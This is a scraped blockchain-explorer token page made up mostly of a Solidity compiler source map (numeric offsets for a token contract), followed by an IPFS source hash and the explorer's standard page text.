18;;;15121:30;15187:34;15167:18;;;15160:62;-1:-1:-1;;;15238:18:1;;;15231:31;15279:19;;18372:56:0;14907:397:1;18933:132:0;18991:7;19018:39;19022:1;19025;19018:39;;;;;;;;;;;;;;;;;:3;:39::i;12725:675::-;-1:-1:-1;;;;;12865:20:0;;12857:70;;;;-1:-1:-1;;;12857:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12946:23:0;;12938:71;;;;-1:-1:-1;;;12938:71:0;;;;;;;:::i;:::-;13102;13124:6;13102:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13102:17:0;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;13082:17:0;;;:9;:17;;;;;;;;;;;:91;;;;13207:20;;;;;;;:32;;13232:6;13207:24;:32::i;:::-;-1:-1:-1;;;;;13184:20:0;;;:9;:20;;;;;;;;;;:55;;;;13268:6;;;13255:19;13252:90;;;13315:15;13324:6;;13315:15;:::i;:::-;-1:-1:-1;;;;;13291:20:0;;:9;:20;;;;;;;;;;:39;;:20;;:9;:39;;;;;:::i;:::-;;;;-1:-1:-1;;13252:90:0;13374:9;-1:-1:-1;;;;;13357:35:0;13366:6;-1:-1:-1;;;;;13357:35:0;;13385:6;13357:35;;;;1897:25:1;;1885:2;1870:18;;1751:177;42526:1139:0;42609:4;42565:23;9055:18;;;;;;;;;;;42654;;42695:20;;;:46;;-1:-1:-1;42719:22:0;;42695:46;42692:60;;;42744:7;;42526:1139::o;42692:60::-;42785:18;;:23;;42806:2;42785:23;:::i;:::-;42767:15;:41;42764:111;;;42840:18;;:23;;42861:2;42840:23;:::i;:::-;42822:41;;42764:111;42944:23;43029:1;43009:17;42988:18;;42970:15;:36;;;;:::i;:::-;:56;;;;:::i;:::-;:60;;;;:::i;:::-;42944:86;-1:-1:-1;43041:26:0;43070:36;:15;42944:86;43070:19;:36::i;:::-;43041:65;-1:-1:-1;43155:21:0;43189:36;43041:65;43189:16;:36::i;:::-;43247:18;43268:44;:21;43294:17;43268:25;:44::i;:::-;43325:23;43375:18;:22;43247:65;-1:-1:-1;43247:65:0;43431:19;;;;;:42;;;43472:1;43454:15;:19;43431:42;43428:210;;;43489:46;43502:15;43519;43489:12;:46::i;:::-;43607:18;;43555:71;;;15511:25:1;;;15567:2;15552:18;;15545:34;;;15595:18;;;15588:34;;;;43555:71:0;;;;;;15499:2:1;43555:71:0;;;42554:1111;;;;;;;42526:1139::o;44136:804::-;44236:15;44219:14;:32;44345:29;;-1:-1:-1;;;44345:29:0;;-1:-1:-1;;;;;44360:13:0;1707:32:1;44345:29:0;;;1689:51:1;44193:4:0;;;;44345;;:14;;1662:18:1;;44345:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;44314:60;;44432:20;44455:53;44502:5;44455:42;44480:16;;44455:20;:24;;:42;;;;:::i;:53::-;44432:76;-1:-1:-1;44621:16:0;;44617:109;;44653:61;44669:13;44692:6;44701:12;44653:15;:61::i;:::-;44809:19;44846:13;44809:51;;44871:4;-1:-1:-1;;;;;44871:9:0;;:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;44898:12:0;;;;-1:-1:-1;44898:12:0;;-1:-1:-1;44898:12:0;44928:4;44921:11;;;;;44136:804;:::o;19561:278::-;19647:7;19682:12;19675:5;19667:28;;;;-1:-1:-1;;;19667:28:0;;;;;;;;:::i;:::-;-1:-1:-1;19706:9:0;19718:5;19722:1;19718;:5;:::i;17096:136::-;17154:7;17181:43;17185:1;17188;17181:43;;;;;;;;;;;;;;;;;:3;:43::i;41370:601::-;41522:16;;;41536:1;41522:16;;;;;;;;41498:21;;41522:16;;;;;;;;;;-1:-1:-1;41522:16:0;41498:40;;41567:4;41549;41554:1;41549:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;41549:23:0;;;-1:-1:-1;;;;;41549:23:0;;;;;41593:15;-1:-1:-1;;;;;41593:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;41583:4;41588:1;41583:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;41583:32:0;;;-1:-1:-1;;;;;41583:32:0;;;;;41628:62;41645:4;41660:15;41678:11;41628:8;:62::i;:::-;41729:224;;-1:-1:-1;;;41729:224:0;;-1:-1:-1;;;;;41729:15:0;:66;;;;:224;;41810:11;;41836:1;;41880:4;;41907;;41927:15;;41729:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;41425:546;41370:601;:::o;41995:523::-;42143:62;42160:4;42175:15;42193:11;42143:8;:62::i;:::-;42452:17;;42248:262;;-1:-1:-1;;;42248:262:0;;42320:4;42248:262;;;17479:34:1;17529:18;;;17522:34;;;42366:1:0;17572:18:1;;;17565:34;;;17615:18;;;17608:34;-1:-1:-1;;;;;42452:17:0;;;17658:19:1;;;17651:44;42484:15:0;17711:19:1;;;17704:35;42248:15:0;:31;;;;;;42287:9;;17413:19:1;;42248:262:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;41995:523;;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1264:247::-;1323:6;1376:2;1364:9;1355:7;1351:23;1347:32;1344:52;;;1392:1;1389;1382:12;1344:52;1431:9;1418:23;1450:31;1475:5;1450:31;:::i;1933:456::-;2010:6;2018;2026;2079:2;2067:9;2058:7;2054:23;2050:32;2047:52;;;2095:1;2092;2085:12;2047:52;2134:9;2121:23;2153:31;2178:5;2153:31;:::i;:::-;2203:5;-1:-1:-1;2260:2:1;2245:18;;2232:32;2273:33;2232:32;2273:33;:::i;:::-;1933:456;;2325:7;;-1:-1:-1;;;2379:2:1;2364:18;;;;2351:32;;1933:456::o;2791:180::-;2850:6;2903:2;2891:9;2882:7;2878:23;2874:32;2871:52;;;2919:1;2916;2909:12;2871:52;-1:-1:-1;2942:23:1;;2791:180;-1:-1:-1;2791:180:1:o;2976:160::-;3041:20;;3097:13;;3090:21;3080:32;;3070:60;;3126:1;3123;3116:12;3141:316;3215:6;3223;3231;3284:2;3272:9;3263:7;3259:23;3255:32;3252:52;;;3300:1;3297;3290:12;3252:52;3336:9;3323:23;3313:33;;3393:2;3382:9;3378:18;3365:32;3355:42;;3416:35;3447:2;3436:9;3432:18;3416:35;:::i;:::-;3406:45;;3141:316;;;;;:::o;3462:315::-;3527:6;3535;3588:2;3576:9;3567:7;3563:23;3559:32;3556:52;;;3604:1;3601;3594:12;3556:52;3643:9;3630:23;3662:31;3687:5;3662:31;:::i;:::-;3712:5;-1:-1:-1;3736:35:1;3767:2;3752:18;;3736:35;:::i;:::-;3726:45;;3462:315;;;;;:::o;3782:180::-;3838:6;3891:2;3879:9;3870:7;3866:23;3862:32;3859:52;;;3907:1;3904;3897:12;3859:52;3930:26;3946:9;3930:26;:::i;3967:388::-;4035:6;4043;4096:2;4084:9;4075:7;4071:23;4067:32;4064:52;;;4112:1;4109;4102:12;4064:52;4151:9;4138:23;4170:31;4195:5;4170:31;:::i;:::-;4220:5;-1:-1:-1;4277:2:1;4262:18;;4249:32;4290:33;4249:32;4290:33;:::i;:::-;4342:7;4332:17;;;3967:388;;;;;:::o;4360:380::-;4439:1;4435:12;;;;4482;;;4503:61;;4557:4;4549:6;4545:17;4535:27;;4503:61;4610:2;4602:6;4599:14;4579:18;4576:38;4573:161;;;4656:10;4651:3;4647:20;4644:1;4637:31;4691:4;4688:1;4681:15;4719:4;4716:1;4709:15;4573:161;;4360:380;;;:::o;4745:356::-;4947:2;4929:21;;;4966:18;;;4959:30;5025:34;5020:2;5005:18;;4998:62;5092:2;5077:18;;4745:356::o;6301:127::-;6362:10;6357:3;6353:20;6350:1;6343:31;6393:4;6390:1;6383:15;6417:4;6414:1;6407:15;6433:168;6473:7;6539:1;6535;6531:6;6527:14;6524:1;6521:21;6516:1;6509:9;6502:17;6498:45;6495:71;;;6546:18;;:::i;:::-;-1:-1:-1;6586:9:1;;6433:168::o;6606:217::-;6646:1;6672;6662:132;;6716:10;6711:3;6707:20;6704:1;6697:31;6751:4;6748:1;6741:15;6779:4;6776:1;6769:15;6662:132;-1:-1:-1;6808:9:1;;6606:217::o;9683:128::-;9723:3;9754:1;9750:6;9747:1;9744:13;9741:39;;;9760:18;;:::i;:::-;-1:-1:-1;9796:9:1;;9683:128::o;10588:184::-;10658:6;10711:2;10699:9;10690:7;10686:23;10682:32;10679:52;;;10727:1;10724;10717:12;10679:52;-1:-1:-1;10750:16:1;;10588:184;-1:-1:-1;10588:184:1:o;11941:401::-;12143:2;12125:21;;;12182:2;12162:18;;;12155:30;12221:34;12216:2;12201:18;;12194:62;-1:-1:-1;;;12287:2:1;12272:18;;12265:35;12332:3;12317:19;;11941:401::o;12347:399::-;12549:2;12531:21;;;12588:2;12568:18;;;12561:30;12627:34;12622:2;12607:18;;12600:62;-1:-1:-1;;;12693:2:1;12678:18;;12671:33;12736:3;12721:19;;12347:399::o;14777:125::-;14817:4;14845:1;14842;14839:8;14836:34;;;14850:18;;:::i;:::-;-1:-1:-1;14887:9:1;;14777:125::o;15765:127::-;15826:10;15821:3;15817:20;15814:1;15807:31;15857:4;15854:1;15847:15;15881:4;15878:1;15871:15;15897:251;15967:6;16020:2;16008:9;15999:7;15995:23;15991:32;15988:52;;;16036:1;16033;16026:12;15988:52;16068:9;16062:16;16087:31;16112:5;16087:31;:::i;16153:980::-;16415:4;16463:3;16452:9;16448:19;16494:6;16483:9;16476:25;16520:2;16558:6;16553:2;16542:9;16538:18;16531:34;16601:3;16596:2;16585:9;16581:18;16574:31;16625:6;16660;16654:13;16691:6;16683;16676:22;16729:3;16718:9;16714:19;16707:26;;16768:2;16760:6;16756:15;16742:29;;16789:1;16799:195;16813:6;16810:1;16807:13;16799:195;;;16878:13;;-1:-1:-1;;;;;16874:39:1;16862:52;;16969:15;;;;16934:12;;;;16910:1;16828:9;16799:195;;;-1:-1:-1;;;;;;;17050:32:1;;;;17045:2;17030:18;;17023:60;-1:-1:-1;;;17114:3:1;17099:19;17092:35;17011:3;16153:980;-1:-1:-1;;;16153:980:1:o;17750:306::-;17838:6;17846;17854;17907:2;17895:9;17886:7;17882:23;17878:32;17875:52;;;17923:1;17920;17913:12;17875:52;17952:9;17946:16;17936:26;;18002:2;17991:9;17987:18;17981:25;17971:35;;18046:2;18035:9;18031:18;18025:25;18015:35;;17750:306;;;;;:::o

Swarm Source

ipfs://df8a452500262f11150750e7a2aa4b4cdf0d10e1d81ca6666da19c9079cbc994
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.